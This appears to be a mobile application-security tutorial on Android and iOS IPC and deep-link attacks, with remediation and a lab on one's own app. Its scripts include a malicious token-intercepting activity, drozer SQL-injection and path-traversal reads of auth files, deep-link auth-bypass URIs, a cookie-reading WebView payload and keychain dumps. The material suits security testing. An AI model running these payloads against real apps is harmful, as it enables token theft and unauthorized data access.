15 min read

Application Security
Advanced

IPC & Deep Link Attacks

Inter-Process Communication (IPC) mechanisms allow apps to share data and functionality. When improperly secured, they can be exploited to steal data, bypass authentication, or execute unauthorized actions.

Android IPC Mechanisms

Intents

Messaging objects used to request actions. Can be explicit (targeting specific component) or implicit (broadcast to multiple apps).

Content Providers

Structured data sharing mechanism. Can expose databases to other applications if exported.

Broadcast Receivers

Components that respond to system-wide broadcast messages. Can leak data if exported.

Services

Background components that can be bound to by other apps if exported without proper permissions.

Finding Exported Components

What makes an exported component a finding is a caller, a message and a result; the manifest line is only the precondition. Read the merged manifest rather than the source one, because SDK manifests are merged at build time and the exported flags the app actually ships are not always the ones in its own AndroidManifest.xml, and since API 17 a provider with no explicit exported flag is private by default. The permission attribute matters as much as the flag — a component marked exported and protected by a signature-level permission is not open to a third-party app, and the protection level, not the flag, is the finding.

Reachability is a decision that can be written down. First android:exported: an explicit true opens the component whatever its filters say, an explicit false closes it to other apps, and where the flag is absent the filters decide. That default changed with the target API level and is not restated here; what matters is that a component carrying a filter on a modern target must declare the flag, so an absent flag on a build that installs means no filter. Second android:permission: normal and dangerous permissions are granted to any app that asks for them, so only a signature-level permission actually excludes a third-party caller. Third, the caller: an app installed on the device, a debug build, or the shell uid are three different claims.

Reachability: Two Ways Into One Component

The flag only opens the question: the permission gate and a capability the app handed out answer it separately, in the same column, and the false branch is drawn rejoining at the caller rather than ending there. A component the app closes still admits a caller holding something it handed out, which arrives with the app's identity instead of a permission.

Scroll sideways to see the whole diagram

Manifest Analysis

manifest-exported-check.sh
# Decompile and check AndroidManifest.xml
apktool d target.apk -o decompiled

# Look for exported components
grep -E "exported="true"" decompiled/AndroidManifest.xml

# Check for intent filters (auto-exported if present)
grep -B5 -A5 "<intent-filter" decompiled/AndroidManifest.xml

# Vulnerable patterns:
# android:exported="true"
# <intent-filter> (without exported="false")
# android:permission="" (empty permission)

Drozer Analysis

Use Drozer for comprehensive IPC analysis:

drozer-ipc-triage.sh
# Start Drozer
adb forward tcp:31415 tcp:31415
drozer console connect

# List exported activities
run app.activity.info -a com.target.app

# List exported services
run app.service.info -a com.target.app

# List exported broadcast receivers
run app.broadcast.info -a com.target.app

# List exported content providers
run app.provider.info -a com.target.app

# Find attack surface
run app.package.attacksurface com.target.app

Keep the tool output attached to the manifest line it corresponds to. A drozer result with no manifest line behind it is a claim the client cannot check, and a component merged in from an SDK is still a finding even though the remediation sits with the SDK version.

When exported=false Still Matters

An explicit false is not overridden by an intent filter on this platform. The filter supplies the export only where the flag is absent, which is why "filter present" and "reachable" are separate columns in a review. What does make an unexported component reachable is a capability someone else holds: a PendingIntent the app handed out, a content URI it granted, a broadcast it sends itself, or a shared uid. Those routes are worth testing because the app opts into them, and because the caller arrives with the app's identity rather than with a permission it requested.

The Evidence Threshold

Each of the three parts has a minimum, and a report missing one of them is a note rather than a result. The commonest shortfall is a reproducer that only runs as the shell uid: the shell holds privileges no third-party app can request, so an invocation that succeeds from adb shell and fails from an installed app has not shown an exposed surface. The same applies to a debug-only build, which can carry components the shipped one does not.

Part Minimum What falls short
Caller A package installed on the device, its uid, and the permissions it holds The shell uid, or a build the client does not ship
Message The action, data URI, extras and flags exactly as sent A screenshot of the URI with the extras unrecorded
Effect Data returned, state changed or screen reached, reproduced on that build A handler that started and then refused the input

Intent Attacks

A handler that starts and then validates the URI or the extras has demonstrated no state change, so capture the refusal before deciding there is a finding. On Android 12 and later a PendingIntent without the mutable flag cannot be filled in by another app, which makes an exported component that hands one out less exposed than it first appears.

Starting Exported Activities

am-start-exported-activity.sh
# Using ADB to start activity
adb shell am start -n com.target.app/.AdminActivity

# With extra data
adb shell am start -n com.target.app/.DeepLinkActivity \
    --es "url" "https://evil.com" \
    --ei "user_id" 1337

# Using Drozer
run app.activity.start --component com.target.app com.target.app.AdminActivity
run app.activity.start --component com.target.app com.target.app.DeepLinkActivity \
    --extra string url https://evil.com

Intercepting Implicit Intents

intent-hijack-receiver.java
// Malicious app registering for target's intent
<activity android:name=".MaliciousActivity">
    <intent-filter>
        <action android:name="com.target.app.SHARE_DATA" />
        <category android:name="android.intent.category.DEFAULT" />
    </intent-filter>
</activity>

// Intercept and log data
public class MaliciousActivity extends Activity {
    protected void onCreate(Bundle savedInstanceState) {
        Intent intent = getIntent();
        String sensitiveData = intent.getStringExtra("auth_token");
        Log.d("STOLEN", "Token: " + sensitiveData);
    }
}

PendingIntent as a Data Carrier

A mutable PendingIntent delegates the app's identity to whoever sends it, and a sender can fill in the fields the creator left unset — action, data, categories, extras — before the send executes under the creator's uid and permissions. So the exposure is not the object but the gap: an implicit base intent with no data, or an explicit one with no extras, hands the caller the pen. The exploitable shape is a base intent that the app would never build for itself and a handler that trusts what arrives.

adb cannot mint a PendingIntent, so the demonstration needs a caller that holds one. The honest rig is a pair of apps built for the test: a bench app that hands out a mutable pending intent the way the target does, and a caller that fills it in, with both under the tester's control so the whole chain is visible. What is reported against the client is then the creating code path and the flag it passes, which is reviewable without the victim app ever being involved.

pending-intent-poc.java
// Bench app: an implicit base intent, handed out mutable
Intent base = new Intent(Intent.ACTION_VIEW);
PendingIntent pi = PendingIntent.getActivity(this, 0, base,
    PendingIntent.FLAG_MUTABLE | PendingIntent.FLAG_UPDATE_CURRENT);

// Caller app: supply the data the base intent left unset
Intent fill = new Intent();
fill.setData(Uri.parse("content://com.bench.private/notes"));
pi.send(this, 0, fill);

Content Provider Attacks

SQL Injection

drozer-provider-injection.sh
# Find content URIs
run scanner.provider.finduris -a com.target.app

# Test for SQL injection
run app.provider.query content://com.target.app.provider/users --projection "* FROM users--"

# Extract all data
run app.provider.query content://com.target.app.provider/users

# Test injection with Drozer
run scanner.provider.injection -a com.target.app

# Path traversal
run app.provider.read content://com.target.app.provider/../../../etc/passwd

Path Traversal

drozer-provider-traversal.sh
# Test for path traversal
run scanner.provider.traversal -a com.target.app

# Read arbitrary files
run app.provider.read content://com.target.app.fileprovider/../../../../data/data/com.target.app/shared_prefs/auth.xml

# Using ADB
adb shell content read --uri content://com.target.app.provider/../../../data/data/com.target.app/databases/app.db

The Grant Boundary

A provider is an exported surface in two directions. grantUriPermissions lets the app hand one URI to a caller that holds no provider permission at all — the normal way a share sheet works, and the normal way a boundary is crossed. Test in order: whether the provider is exported, whether a grant is ever issued, what the android:path scope of that grant covers, and whether the provider resolves the path it was given against a canonical path or trusts the caller's string. A grant for one file is not a grant for the root, and a provider that canonicalises before opening is a control that closes the traversal.

The other direction is the write. A caller-supplied display name or export filename often becomes the path the app creates, so a provider that refuses traversal on read can still be pushed into writing outside its directory, or into overwriting a file it owns. Read and write deserve separate tests and separate permissions, and a caller that can only read is not a caller that can plant content the app later trusts.

provider-grant-probe.sh
# What the provider declares, from the merged manifest
grep -A12 "<provider" merged/AndroidManifest.xml

# Query as the shell first, then from an installed app
adb shell content query --uri content://com.target.app.provider/users

# A granted URI is reachable without a provider permission
adb shell content read --uri content://com.target.app.provider/files/export.pdf

# Write direction: does a supplied name become a path?
adb shell content insert --uri content://com.target.app.provider/files \
    --bind name:s:../../shared_prefs/auth.xml

What are Deep Links?

Deep links allow external URLs to open specific screens within an app. Improper validation can lead to sensitive data exposure, authentication bypass, or cross-site scripting.

Reaching a WebView through a deep link is not automatically a finding: the loaded origin and the exposed JavaScript bridge decide it. A WebView behind an allow-list that refuses the host you supplied is a control, and it should be written up as one.

A custom scheme is not an ownership claim. Any app can register the same scheme, and when two do the platform asks the user which one to open rather than guaranteeing that the owner wins — so the interception test is meaningful exactly when the callback rides a custom scheme. An App Link or a Universal Link is bound to a domain the app proved it controls, and that route is not open to a co-resident app. Which of the two the flow uses decides whether a hijack finding exists at all.

Finding Deep Link Schemes

deep-link-enumeration.sh
# Check AndroidManifest.xml for schemes
grep -E "android:scheme|android:host|android:pathPrefix" AndroidManifest.xml

# Example patterns:
# <data android:scheme="myapp" />
# <data android:scheme="https" android:host="app.target.com" />

# Test deep link
adb shell am start -a android.intent.action.VIEW \
    -d "myapp://settings/admin" com.target.app

# Test App Links (Android)
adb shell am start -a android.intent.action.VIEW \
    -d "https://app.target.com/oauth/callback?token=stolen"

Common Deep Link Vulnerabilities

OAuth Token Theft

oauth-callback-intercept.sh
# Intercept OAuth callback
adb shell am start -a android.intent.action.VIEW \
    -d "myapp://oauth/callback?code=AUTH_CODE"

# Register malicious app to intercept:
<intent-filter>
    <action android:name="android.intent.action.VIEW" />
    <category android:name="android.intent.category.DEFAULT" />
    <data android:scheme="myapp" android:host="oauth" />
</intent-filter>

Authentication Bypass

deep-link-auth-bypass.sh
# Skip login via deep link
adb shell am start -d "myapp://home?authenticated=true"
adb shell am start -d "myapp://admin?role=admin"
adb shell am start -d "myapp://reset-password?user_id=victim"

JavaScript Injection (WebView)

webview-uri-injection.sh
# If deep link loads in WebView with JS enabled
adb shell am start -d "myapp://webview?url=javascript:alert(document.cookie)"
adb shell am start -d "myapp://browser?url=file:///data/data/com.target.app/shared_prefs/auth.xml"

iOS IPC Mechanisms

On iOS the same reasoning applies to different artefacts. A URL scheme type in Info.plist declares the handler and an entitlement declares the shared container, and the evidence for either is the declaration together with the URL that actually reached it — a registered scheme nobody tested is a capability, not a finding.

URL Schemes

ios-url-scheme-enum.sh
# Find URL schemes in Info.plist
plutil -p Info.plist | grep -A10 CFBundleURLTypes

# Or from an IPA you already have
unzip target.ipa -d extracted
plutil -p extracted/Payload/App.app/Info.plist

# Test URL scheme
# On device: Safari > myapp://admin
# Via Terminal:
xcrun simctl openurl booted "myapp://settings/admin"

Universal Links

universal-link-check.sh
# Check for associated domains in entitlements
codesign -d --entitlements :- App.app | grep associated-domains

# Fetch apple-app-site-association
curl https://target.com/.well-known/apple-app-site-association
curl https://target.com/apple-app-site-association

# Test Universal Links
# Send link via iMessage/Notes and tap it

App Extensions & Groups

app-group-check.sh
# Check for shared app groups
codesign -d --entitlements :- App.app | grep group

# Shared container location
/var/mobile/Containers/Shared/AppGroup/<group-id>/

# Using Objection
ios nsurlcredentialstorage dump
ios keychain dump --json

Dynamic Analysis with Frida

Android Intent Monitoring

intent_monitor.js
Java.perform(function() {
    var Intent = Java.use('android.content.Intent');
    
    Intent.getStringExtra.implementation = function(name) {
        var value = this.getStringExtra(name);
        console.log('[Intent] getStringExtra(' + name + ') = ' + value);
        return value;
    };
    
    Intent.getData.implementation = function() {
        var uri = this.getData();
        if (uri != null) {
            console.log('[Intent] getData() = ' + uri.toString());
        }
        return uri;
    };
    
    // Monitor startActivity
    var Activity = Java.use('android.app.Activity');
    Activity.startActivity.overload('android.content.Intent').implementation = function(intent) {
        console.log('[Activity] startActivity: ' + intent.toString());
        console.log('  Action: ' + intent.getAction());
        console.log('  Data: ' + intent.getData());
        this.startActivity(intent);
    };
});

iOS URL Handling Monitor

ios_url_monitor.js
if (ObjC.available) {
    var UIApplication = ObjC.classes.UIApplication;
    
    // Hook openURL
    Interceptor.attach(UIApplication['- openURL:'].implementation, {
        onEnter: function(args) {
            var url = ObjC.Object(args[2]);
            console.log('[openURL] ' + url.toString());
        }
    });
    
    // Hook application:openURL:options:
    var AppDelegate = ObjC.classes[ObjC.protocols.UIApplicationDelegate];
    Interceptor.attach(AppDelegate['- application:openURL:options:'].implementation, {
        onEnter: function(args) {
            var url = ObjC.Object(args[3]);
            console.log('[application:openURL] ' + url.toString());
        }
    });
}

IPC Testing Checklist

  • ☐ Identify all exported components
  • ☐ Test content providers for SQL injection
  • ☐ Test content providers for path traversal
  • ☐ Enumerate and test all deep link schemes
  • ☐ Test for intent hijacking vulnerabilities
  • ☐ Check broadcast receivers for data leakage
  • ☐ Verify proper permission checks on services
  • ☐ Test WebView URL loading via deep links
  • ☐ Check OAuth callback interception

Practice Lab

Export an activity or a content provider in your own app, reach it from the shell and then from a second app you installed, flip the exported flag to false and repeat — done when both observations are recorded and you can say which signature-level permission would have been the narrower fix than closing the component.

Open One Door, Then Close It Custom Lab medium
Read the merged manifest rather than the source oneam start or content query from the shell, as the cheap loopThe same intent from an installed app, so the caller part of the evidence is metA signature-level permission as the narrower fix

Evidence to Capture

Component declaration: The merged-manifest snippet showing the exported flag, the permission attribute and any intent filters.

Invocation: The exact adb, drozer or Frida command, and the intent or URL as the app received it.

Result on the target: The data returned, the state changed or the screen reached, captured with the component name visible.

Permission context: The uid or app that performed the invocation, and any permission it held.

Analysis output: The drozer or MobSF output alongside the manifest line it corresponds to.

iOS equivalent: For URL schemes and shared containers, the Info.plist entry or entitlement together with the URL that reached the handler.

Likely False Positives

  • Exported with a signature permission: A signature-level permission already protects it.
  • Exported for system broadcasts only: A receiver filtered on a protected broadcast.
  • Exported by a dependency: A component merged in from an SDK.
  • Intent accepted, input rejected: A handler that started and then refused the URI or extras.
  • Deep link into a WebView with an allow-list: A WebView that refused the supplied origin.
  • Provider default changed by API level: A provider with no explicit exported flag.
  • Immutable pending intent: A PendingIntent without the mutable flag.

Remediation & Defense

Manifest

  • • Set the exported flag explicitly on every component rather than relying on intent-filter defaults
  • • Protect components that must stay exported with a signature-level permission
  • • Remove intent filters from components only the app itself starts
  • • Set exported false on providers that do not need cross-app access

Runtime validation

  • • Validate every URI and extra from an untrusted caller, including scheme, host and path
  • • Bind deep links to a verified App Link or Universal Link association
  • • Check the caller identity before acting on an intent that changes sensitive state

iOS

  • • Validate URL scheme input in the openURL handler and refuse unrecognised paths
  • • Prefer Universal Links over custom schemes for anything that authenticates
  • • Restrict app-group container contents to what the extensions actually require

Detection

  • • Log and monitor intent invocations from unexpected packages in production
  • • Re-run the exported-component inventory each release, since SDK bumps add components
  • • Add a merged-manifest diff step to the release checklist